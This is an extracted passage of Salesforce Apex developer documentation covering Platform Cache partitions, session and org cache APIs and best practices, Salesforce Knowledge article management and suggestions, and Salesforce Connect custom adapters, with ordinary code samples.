Minimum developer-assigned time-to-live

300 seconds (5 minutes)

Maximum developer-assigned time-to-live

172,800 seconds (48 hours)

Default org cache time-to-live

86,400 seconds (24 hours)

Local cache is the application servers in-memory container that the client interacts with during a request.

Platform Cache Partitions

Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the way
that works best for your applications. Caching data to designated partitions ensures that its not overwritten by other applications or
less-critical data.
To use Platform Cache, first set up partitions using the Platform Cache Partition tool in Setup. Once youve set up partitions, you can add,
access, and remove data from them using the Platform Cache Apex API.
To access the Partition tool in Setup, enter Platform Cache in the Quick Find box, then select Platform Cache.
Use the Partition tool to:
Request trial cache.
Create, edit, or delete cache partitions.
Allocate the session cache and org cache capacities of each partition to balance performance across apps.
View a snapshot of the orgs current cache capacity, breakdown, and partition allocations (in KB or MB).
View details about each partition.
Make any partition the default partition.
To use Platform Cache, create at least one partition. Each partition has one session cache and one org cache segment and you can
allocate separate capacity to each segment. Session cache can be used to store data for individual user sessions, and org cache is for
data that any users in an org can access. You can distribute your orgs cache space across any number of partitions. Session and org
cache allocations can be zero, or five or greater, and they must be whole numbers. The sum of all partition allocations, including the
default partition, equals the Platform Cache total allocation. The total allocated capacity of all cache segments must be less than or equal
to the orgs overall capacity.
You can define any partition as the default partition, but you can have only one default partition. When the capacity of the default
partition is used up and is zero, you cant create more partitions. When a partition has no allocation, cache operations (such as get and
put) are not invoked and no error is returned.

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Platform Cache Internals

When performing cache operations within the default partition, you can omit the partition name from the key.
After you set up partitions, you can use Apex code to perform cache operations on a partition. For example, use the
Session.Partition and Org.Partition classes to put, retrieve, or remove values on a specific partitions cache. Use
Cache.Session and Cache.Org to get a partition or perform cache operations by using a fully qualified key.

Packaging Platform Cache Partitions

When packaging an application that uses Platform Cache, add any referenced partitions to your packages explicitly. Partitions arent
pulled into packages automatically, as other dependencies are. Partition validation occurs during run time, rather than compile time.
Therefore, if a partition is missing from a package, you dont receive an error message at compile time.
Note: If platform cache code is intended for a package, dont use the default partition in the package. Instead, explicitly reference
and package a non-default partition. Any package containing the default partition cant be deployed.
If youre working with managed packages, we recommend using Branch Packaging Orgs to share a namespace across partitions. This
feature lets you maintain multiple orgs or partitions as branches of your primary org. For information about Branch Packaging Orgs,
contact Salesforce.
SEE ALSO:
Partition Class
OrgPartition Class
SessionPartition Class
Metadata API Developers Guide: Platform Cache Partition Type

Platform Cache Internals

Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.

Local Cache
Platform Cache uses local cache to improve performance, ensure efficient use of the network, and support atomic transactions. Local
cache is the application servers in-memory container that the client interacts with during a request. Cache operations dont interact
with the caching layer directly, but instead interact with local cache.
For session cache, all cached items are loaded into local cache upon first request. All subsequent interactions use the local cache. Similarly,
an org cache get operation retrieves a value from the caching layer and stores it in the local cache. Subsequent requests for this value
are retrieved from the local cache. All mutable operations, such as put and remove, are also performed against the local cache. Upon
successful completion of the request, mutable operations are committed.
Note: Local cache doesnt support concurrent operations. Mutable operations, such as put and remove, are performed against
the local cache and are only committed when the entire Apex request is successful. Therefore, other simultaneous requests dont
see the results of the mutable operations.

Atomic Transactions
Each cache operation depends on the Apex request that it runs in. If the entire request fails, all cache operations in that request are rolled
back. Behind the scenes, the use of local cache supports these atomic transactions.

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Store and Retrieve Values from the Session Cache

Eviction Algorithm
When possible, Platform Cache uses an LRU algorithm to evict keys from the cache. When cache limits are reached, keys are evicted
until the cache is reduced to 100-percent capacity. If session cache is used, the system removes cache evenly from all existing session
cache instances. Local cache also uses an LRU algorithm. When the maximum local cache size for a partition is reached, the least recently
used items are evicted from the local cache.
SEE ALSO:
Platform Cache Limits

Store and Retrieve Values from the Session Cache

Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage values
in any partition, use the methods in the Cache.Session class. If youre managing cache values in one partition, use the
Cache.SessionPartition methods instead.

Cache.Session Methods
To store a value in the session cache, call the Cache.Session.put() method and supply a key and value. The key name is in the
format namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified
key name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Session.put('ns1.partition1.orderDate', dt);
if (Cache.Session.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('ns1.partition1.orderDate');
}

To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Session.put('orderDate', dt);
if (Cache.Session.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('orderDate');
}

The local prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace
defined. If the org has a namespace defined as ns1, the following two statements are equivalent.
Cache.Session.put('local.myPartition.orderDate', dt);
Cache.Session.put('ns1.myPartition.orderDate', dt);

Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the packages
namespace. The cache put calls are not allowed in a partition that the invoking class doesnt own.

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Use a Visualforce Global Variable for the Session Cache

The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value cant be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Session.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);

To retrieve a cached value from the session cache, call the Cache.Session.get() method. Because Cache.Session.get()
returns an object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;

Cache.SessionPartition Methods
If youre managing cache values in one partition, use the Cache.SessionPartition methods instead. After the partition object
is obtained, the process of adding and retrieving cache values is similar to using the Cache.Session methods. The
Cache.SessionPartition methods are easier to use because you specify only the key name without the namespace and
partition prefix.
First, get the session partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. Next, if the cache contains a
value with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and todays date.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate', Date.today());

This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');

Use a Visualforce Global Variable for the Session Cache

Access cached values stored in the session cache from a Visualforce page by using the $Cache.Session global variable.
Note: The Visualforce global variable is available only for the session cache and not for the org cache.
When using the $Cache.Session global variable, fully qualify the key name with the namespace and partition name. This example
is an output text component that retrieves a cached value from the namespace myNamespace, partition myPartition, and key key1.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.key1}"/>

Unlike with Apex methods, you cant omit the myNamespace.myPartition prefix to reference the default partition in the org.

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Store and Retrieve Values from the Org Cache

If a namespace is not defined for the org, use local to refer to the orgs namespace.
<apex:outputText value="{!$Cache.Session.local.myPartition.key1}"/>

If the cached value is a data structure that has properties or methods, like an Apex List or a custom class, those properties can be accessed
in the $Cache.Session expression by using dot notation. For example, this markup invokes the List.size() Apex method
if the value of numbersList is declared as a List.
<apex:outputText value="{!$Cache.Session.local.myPartition.numbersList.size}"/>

This example accesses the value property on the myData cache value that is declared as a custom class.
<apex:outputText value="{!$Cache.Session.local.myPartition.myData.value}"/>

Store and Retrieve Values from the Org Cache

Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If youre managing cache values in one partition, use the Cache.OrgPartition
methods instead.

Cache.Org Methods
To store a value in the org cache, call the Cache.Org.put() method and supply a key and value. The key name is in the format
namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified key
name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Org.put('ns1.partition1.orderDate', dt);
if (Cache.Org.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('ns1.partition1.orderDate');
}

To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Org.put('orderDate', dt);
if (Cache.Org.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('orderDate');
}

The local prefix refers to the namespace of the current org where the code is running. The local prefix refers to the namespace
of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined
as ns1, the following two statements are equivalent.
Cache.Org.put('local.myPartition.orderDate', dt);
Cache.Org.put('ns1.myPartition.orderDate', dt);

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Platform Cache Best Practices

The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value cant be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Org.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);

To retrieve a cached value from the org cache, call the Cache.Org.get() method. Because Cache.Org.get() returns an
object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;

Cache.OrgPartition Methods
If youre managing cache values in one partition, use the Cache.OrgPartition methods instead. After the partition object is
obtained, the process of adding and retrieving cache values is similar to using the Cache.Org methods. The Cache.OrgPartition
methods are easier to use because you specify only the key name without the namespace and partition prefix.
First, get the org partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. If the cache contains a value
with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and todays date.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate', Date.today());

This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');

Platform Cache Best Practices

Platform Cache can greatly improve performance in your applications. However, its important to follow these guidelines to get the best
cache performance. In general, its more efficient to cache a few large items than to cache many small items separately. Also be mindful
of cache limits to prevent unexpected cache evictions.

Evaluate the Performance Impact

To test whether Platform Cache improves performance in your application, calculate the elapsed time with and without using the cache.
Dont rely on the Apex debug log timestamp for the execution time. Use the System.currentTimeMillis() method instead.

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Platform Cache Best Practices

For example, first call System.currentTimeMillis() to get the start time. Perform application logic, fetching the data from
either the cache or another data source. Then calculate the elapsed time.
long startTime = System.currentTimeMillis();
// Your code here
long elapsedTime = System.currentTimeMillis() - startTime;
System.debug(elapsedTime);

Handle Cache Misses Gracefully

Ensure that your code handles cache misses by testing cache requests that return null. To help with debugging, add logging information
for cache operations.
public class CacheManager {
private Boolean cacheEnabled;
public void CacheManager() {
cacheEnabled = true;
}
public Boolean toggleEnabled() { // Use for testing misses
cacheEnabled = !cacheEnabled;
return cacheEnabled;
}
public Object get(String key) {
if (!cacheEnabled) return null;
Object value = Cache.Session.get(key);
if (value != null) System.debug(LoggingLevel.DEBUG, 'Hit for key ' + key);
return value;
}
public void put(String key, Object value, Integer ttl) {
if (!cacheEnabled) return;
Cache.Session.put(key, value, ttl);
// for redundancy, save to DB
System.debug(LoggingLevel.DEBUG, 'put() for key ' + key);
}
public Boolean remove(String key) {
if (!cacheEnabled) return false;
Boolean removed = Cache.Session.remove(key);
if (removed) {
System.debug(LoggingLevel.DEBUG, 'Removed key ' + key);
return true;
} else return false;
}
}

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Platform Cache Best Practices

Group Cache Requests

When possible, group cache requests, but be aware of caching limits. To help improve performance, perform cache operations on a list
of keys rather than on individual keys. For example, if you know which keys are necessary to invoke a Visualforce page or perform a task
in Apex, retrieve all keys at once. To retrieve multiple keys, call get(keys) in an initialization method.
Note: Aggregate functions are available only for the Cache.Org class.

Cache Larger Items

Its more efficient to cache a few large items than to cache many small items separately. Caching many small items decreases performance
and increases overhead, including total serialization size, serialization time, cache commit time, and cache capacity usage.
Dont add many small items to the Platform Cache within one request. Instead, wrap data in larger items, such as lists. If a list is large,
consider breaking it into multiple items. Heres an example of what to avoid.
// Don't do this!
public class MyController {
public void initCache() {
List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
for (Integer i=0; i<accts.size(); i++) {
Cache.Org.put('acct' + i, accts.get(i));
}
}
}

Instead, wrap the data in a few reasonably large items without exceeding the limit on the size of single cached items.
// Do this instead.
public class MyController {
public void initCache() {
List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
Cache.Org.put('accts', accts);
}
}

Another good example of caching larger items is to encapsulate data in an Apex class. For example, you can create a class that wraps
session data, and cache an instance of the class rather than the individual data items. Caching the class instance improves overall
serialization size and performance.

Be Aware of Cache Limits

When you add items to the cache, be aware of the following limits.
Cache Partition Size Limit
When the cache partition limit is reached, keys are evicted until the cache is reduced to 100% capacity. Platform Cache uses a least
recently used (LRU) algorithm to evict keys from the cache.

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Salesforce Knowledge

Local Cache Size Limit

When you add items to the cache, make sure that you are not exceeding local cache limits within a request. The local cache limit
for the session cache is 500 KB and 1,000 KB for the org cache. If you exceed the local cache limit, items can be evicted from the local
cache before the request has been committed. This eviction can cause unexpected misses and long serialization time and can waste
resources.
Single Cached Item Size Limit
The size of individual cached items is limited to 100 KB. If the serialized size of an item exceeds this limit, the
Cache.ItemSizeLimitExceededException exception is thrown. Its a good practice to catch this exception and reduce
the size of the cached item.

Use the Cache Diagnostics Page (Sparingly)

To determine how much of the cache is used, check the Platform Cache Diagnostics page. To reach the Diagnostics page:
1. Make sure that Cache Diagnostics is enabled for the user (on the User Detail page).
2. On the Platform Cache Partition page, click the partition name.
3. Click the link to the Diagnostics page for the partition.
The Diagnostics page provides valuable information, including the capacity usage, keys, and serialized and compressed sizes of the
cached items. The session cache and org cache have separate diagnostics pages. The session cache diagnostics are per session, and they
dont provide insight across all active sessions.
Note: Generating the diagnostics page gathers all partition-related information and is an expensive operation. Use it sparingly.

Minimize Expensive Operations

Consider the following guidelines to minimize expensive operations.
Use Cache.Org.getKeys() and Cache.Org.getCapacity() sparingly. Both methods are expensive, because they
traverse all partition-related information looking for or making calculations for a given partition.
Note: Cache.Session usage is not expensive.
Avoid calling the contains(key) method followed by the get(key) method. If you intend to use the key value, simply call
the get(key) method and make sure that the value is not equal to null.
Clear the cache only when necessary. Clearing the cache traverses all partition-related cache space, which is expensive. After clearing
the cache, your application will likely regenerate the cache by invoking database queries and computations. This regeneration can
be complex and extensive and impact your applications performance.
SEE ALSO:
Platform Cache Limits

Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and
view the articles they need.
Use Apex to access these Salesforce Knowledge features:

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Knowledge Management

IN THIS SECTION:
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end users search contains certain keywords. Users can promote an article in search results by associating keywords
with the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a users search query string.

Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
Publishing
Updating
Retrieving
Deleting
Submitting for translation
Setting a translation to complete or incomplete status
Archiving
Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
SEE ALSO:
PublishingService Class

Promoted Search Terms

Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end users search contains certain keywords. Users can promote an article in search results by associating keywords with
the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Articles must be in published status (with a PublishSatus field value of Online) for you to manage their promoted terms.

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Suggest Salesforce Knowledge Articles

Example: This code sample shows how to add a search promotion rule. This sample performs a query to get published articles
of type MyArticle__kav. Next, the sample creates a SearchPromotionRule sObject to promote articles that contain the word
Salesforce and assigns the first returned article to it. Finally, the sample inserts this new sObject.
// Identify the article to promote in search results
List<MyArticle__kav> articles = [SELECT Id FROM MyArticle__kav WHERE
PublishStatus='Online' AND Language='en_US' AND Id='Article Id'];
// Define the promotion rule
SearchPromotionRule s = new SearchPromotionRule(
Query='Salesforce',
PromotedEntity=articles[0]);
// Save the new rule
insert s;

To perform DML operations on the SearchPromotionRule sObject, you must enable Salesforce Knowledge.

Suggest Salesforce Knowledge Articles

Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a users search query string.
To return suggestions, enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting
up Salesforce Knowledge.
This Visualforce page has an input field for searching articles or accounts. When the user presses the Suggest button, suggested records
are displayed. If there are more than five results, the More results button appears. To display more results, click the button.
<apex:page controller="SuggestionDemoController">
<apex:form >
<apex:pageBlock mode="edit" id="block">
<h1>Article and Record Suggestions</h1>
<apex:pageBlockSection >
<apex:pageBlockSectionItem >
<apex:outputPanel >
<apex:panelGroup >
<apex:selectList value="{!objectType}" size="1">
<apex:selectOption itemLabel="Account" itemValue="Account"
/>
<apex:selectOption itemLabel="Article"
itemValue="KnowledgeArticleVersion" />
<apex:actionSupport event="onchange" rerender="block"/>
</apex:selectList>
</apex:panelGroup>
<apex:panelGroup >
<apex:inputHidden id="nbResult" value="{!nbResult}" />
<apex:outputLabel for="searchText">Search Text</apex:outputLabel>
 
<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton id="suggestButton" value="Suggest"
action="{!doSuggest}"
rerender="block"/>

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Suggest Salesforce Knowledge Articles

<apex:commandButton id="suggestMoreButton" value="More

results..." action="{!doSuggestMore}"
rerender="block" style="{!IF(hasMoreResults,
'', 'display: none;')}"/>
</apex:panelGroup>
</apex:outputPanel>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockSection title="Results" id="results" columns="1"
rendered="{!results.size>0}">
<apex:dataList value="{!results}" var="w" type="1">
Id: {!w.SObject['Id']}
<br />
<apex:panelGroup rendered="{!objectType=='KnowledgeArticleVersion'}">
Title: {!w.SObject['Title']}
</apex:panelGroup>
<apex:panelGroup rendered="{!objectType!='KnowledgeArticleVersion'}">
Name: {!w.SObject['Name']}
</apex:panelGroup>
<hr />
</apex:dataList>
</apex:pageBlockSection>
<apex:pageBlockSection id="noresults" rendered="{!results.size==0}">
No results
</apex:pageBlockSection>
<apex:pageBlockSection rendered="{!LEN(searchText)>0}">
Search text: {!searchText}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>

This code is the custom Visualforce controller for the page:

public class SuggestionDemoController {
public
public
public
public
public

String searchText;
String language = 'en_US';
String objectType = 'Account';
Integer nbResult = 5;
Transient Search.SuggestionResults suggestionResults;

public String getSearchText() {

return searchText;
}
public void setSearchText(String s) {
searchText = s;
}
public Integer getNbResult() {
return nbResult;
}

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Suggest Salesforce Knowledge Articles

Salesforce Connect Adapters

Salesforce Connect uses a protocol-specific adapter to connect to an external system and access
its data. When you define an external data source in your organization, you specify the adapter in
the Type field.
These adapters are available for Salesforce Connect.
Salesforce Connect
Adapter

Description

OData 2.0

Uses Open Data Protocol to access data thats stored outside

Salesforce. The external data must be exposed via OData
producers.

OData 4.0
Cross-org

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Developer
Edition

Uses the Force.com REST API to access data thats stored in other
Salesforce orgs.

377

Available for an extra cost

in: Enterprise, Performance,
and Unlimited Editions

Using Salesforce Features with Apex

Writable External Objects in Salesforce Connect

Salesforce Connect Adapter

Description

Custom adapter created via Apex

You use the Apex Connector Framework to develop your own custom adapter when the
other available adapters arent suitable for your needs.
A custom adapter can obtain data from anywhere. For example, some data can be retrieved
from anywhere in the Internet via callouts, while other data can be manipulated or even
generated programmatically.

SEE ALSO:
Salesforce Connect Custom Adapter

Salesforce Connect Custom Adapter

Connect to any data anywhere for a complete view of your business. Use the Apex Connector Framework to develop a custom adapter
for Salesforce Connect.
Your users and the Force.com platform interact with the external data via external objects. For each of those interactions, Salesforce
Connect invokes methods in the Apex classes that compose the custom adapter. Salesforce invokes the custom adapters Apex code
when:
A user clicks an external object tab for a list view.
A user views a record detail page of an external object.
A user views a record detail page of a parent object that displays a related list of child external object records.
A user performs a Salesforce global search.
A user creates, edits, or deletes an external object record. (This doesnt apply to the cross-org adapter.)
An external object is queried via flows, APIs, Apex, SOQL, or SOSL.
You validate or sync an external data source.
SEE ALSO:
Salesforce Connect Adapters
Get Started with the Apex Connector Framework
Key Concepts About the Apex Connector Framework

Writable External Objects in Salesforce Connect

Use a specialized set of Apex methods and keywords to create, update, or delete external data that corresponds to external object
records.
IN THIS SECTION:
Writable External Objects
By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update,
and delete data thats stored outside the org by interacting with external objects within the org. For example, users can see all the
orders that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user
interface, they can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP
system.

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Writable External Objects in Salesforce Connect

Considerations for Writable External Objects

Writable External Objects

By default, external objects are read only, but you can make them writable. Doing so lets Salesforce users and APIs create, update, and
delete data thats stored outside the org by interacting with external objects within the org. For example, users can see all the orders
that reside in an SAP system that are associated with an account in Salesforce. Then, without leaving the Salesforce user interface, they
can place a new order or route an existing order. The relevant data is automatically created or updated in the SAP system.
Access to external data depends on the connections between Salesforce and the external systems that store the data. Network latency
and the availability of the external systems can introduce timing issues with Apex write or delete operations on external objects.
Because of the complexity of these connections, Apex cant execute standard insert(), update(), or create() operations
on external objects. Instead, Apex provides a specialized set of database methods and keywords to work around potential issues with
write execution. DML insert, update, create, and delete operations on external objects are either asynchronous or executed when specific
criteria are met.
This example uses the Database.insertAsync() method to insert a new order into a database table asynchronously. It returns
a SaveResult object that contains a unique identifier for the insert job.
public void createOrder () {
SalesOrder__x order = new SalesOrder__x ();
Database.SaveResult sr = Database.insertAsync (order);
if (! sr.isSuccess ()) {
String locator = Database.getAsyncLocator ( sr );
completeOrderCreation(locator);
}
}

Note: Writes performed on external objects through the Salesforce user interface or the API are synchronous and work the same
way as for standard and custom objects.
You can perform the following DML operations on external objects, either asynchronously or based on criteria: insert records, update
records, upsert records, or delete records. Use classes in the DataSource namespace to get the unique identifiers for asynchronous
jobs, or to retrieve results lists for upsert, delete, or save operations.
When you initiate an Apex method on an external object, a job is scheduled and placed in the background jobs queue. The
BackgroundOperation object lets you view the job status for write operations via the API or SOQL. Monitor job progress and related
errors in the org, extract statistics, process batch jobs, or see how many errors occur in a specified time period.
For usage information and examples, see Database Namespace on page 1489 and DataSource Namespace on page 1544.

Considerations for Writable External Objects

Understand the limits and considerations for writable external objects in Salesforce Connect. Creating, updating, and deleting external
object records arent perfect processes because the data is stored outside your Salesforce org.
The external system handles write conflicts, so we cant guarantee that all write operations that are initiated from within Salesforce
are applied.
Write operations that are initiated from different contexts can occur in varying order.
The API cant save changes to an external object and a standard or custom object within the same transaction.

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Depending on how the external system executes write operations from Salesforce, it can take some time for changes to external
object records to take effect. If you dont see recent changes when you view or query an external object record, try again later.
When a user or the Force.com platform edits a custom field on an external object record, leading and trailing spaces are removed
from the field value.
When a user tries to edit an external lookup or indirect lookup relationship field, a lookup dialog isnt available for selecting the
parent record.
To edit an external lookup relationship field, manually enter the value of the External ID standard field for the parent
record.
To edit an indirect lookup relationship field, manually enter the value of the target field of the parent record. The target field is
the custom field with External ID and Unique attributes that was selected when the indirect lookup relationship was
created. To determine related records, Salesforce matches target field values against the values of the indirect lookup relationship
field on the child object.
Writable external objects arent available for high-data-volume external data sources.
Queued changes to the external data execute over time, so external object records that are read successively can contain different
data.
SEE ALSO:
Writable External Objects in Salesforce Connect
Salesforce Help: Writable External Objects Considerations for Salesforce ConnectAll Adapters

Get Started with the Apex Connector Framework

To get started with your first custom adapter for Salesforce Connect, create two Apex classes: one that extends the
DataSource.Connection class, and one that extends the DataSource.Provider class.
Lets step through the code of a sample custom adapter.
IN THIS SECTION:
1. Create a Sample DataSource.Connection Class
First, create a DataSource.Connection class to enable Salesforce to obtain the external systems schema and to handle
queries and searches of the external data.
2. Create a Sample DataSource.Provider Class
Now you need a class that extends and overrides a few methods in DataSource.Provider.
3. Set Up Salesforce Connect to Use Your Custom Adapter
After you create your DataSource.Connection and DataSource.Provider classes, the Salesforce Connect custom
adapter becomes available in Setup.

Create a Sample DataSource.Connection Class

First, create a DataSource.Connection class to enable Salesforce to obtain the external systems schema and to handle queries
and searches of the external data.
global class SampleDataSourceConnection
extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams

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connectionParams) {
}
// ...

The DataSource.Connection class contains these methods.

query
search
sync
upsertRows
deleteRows

sync
The sync() method is invoked when an administrator clicks the Validate and Sync button on the external data source detail page.
It returns information that describes the structural metadata on the external system.
Note: Changing the sync method on the DataSource.Connection class doesnt automatically resync any external
objects.
// ...
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample', 'Title',
columns));
return tables;
}
// ...

query
The query method is invoked when a SOQL query is executed on an external object. A SOQL query is automatically generated and
executed when a user opens an external objects list view or detail page in Salesforce. The DataSource.QueryContext is always
only for a single table.
This sample custom adapter uses a helper method in the DataSource.QueryUtils class to filter and sort the results based on
the WHERE and ORDER BY clauses in the SOQL query.
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods arent supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
// ...
override global DataSource.TableResult query(

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DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String,Object>> rows = getRows(context);
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context,
countResponse);
} else {
List<Map<String,Object>> filteredRows =
DataSource.QueryUtils.filter(context, getRows(context));
List<Map<String,Object>> sortedRows =
DataSource.QueryUtils.sort(context, filteredRows);
List<Map<String,Object>> limitedRows =
DataSource.QueryUtils.applyLimitAndOffset(context,
sortedRows);
return DataSource.TableResult.get(context, limitedRows);
}
}
// ...

search
The search method is invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also
searches external objects. Because search can be federated over multiple objects, the DataSource.SearchContext can have
multiple tables selected. In this example, however, the custom adapter knows about only one table.
// ...
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection :
context.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection,
getRows(context)));
}
return results;
}
// ...

The following is the getRows helper method that the search sample calls to get row values from the external system. The getRows
method makes use of other helper methods:
makeGetCallout makes a callout to the external system.

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foundRow populates a row based on values from the callout result. The foundRow method is used to make any modifications
to the returned field values, such as changing a field name or modifying a field value.
These methods arent included in this snippet but are available in the full example included in Connection Class. Typically, the filter from
SearchContext or QueryContext would be used to reduce the result set, but for simplicity this example doesnt make use of
the context object.
// ...
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();
// Parse the JSON response and populate the rows.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
response.getBody());
Map<String, Object> error = (Map<String, Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
} else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
rows.add(foundRow(row));
}
}
return rows;
}
// ...

upsertRows
The upsertRows method is invoked when external object records are created or updated. You can create or update external object
records through the Salesforce user interface or DML. The following example provides a sample implementation for the upsertRows
method. The example uses the passed-in UpsertContext to determine what table was selected and performs the upsert only if
the name of the selected table is Sample. The upsert operation is broken up into either an insert of a new record or an update of an
existing record. These operations are performed in the external system using callouts. An array of DataSource.UpsertResult
is populated from the results obtained from the callout responses. Note that because a callout is made for each row, this example might
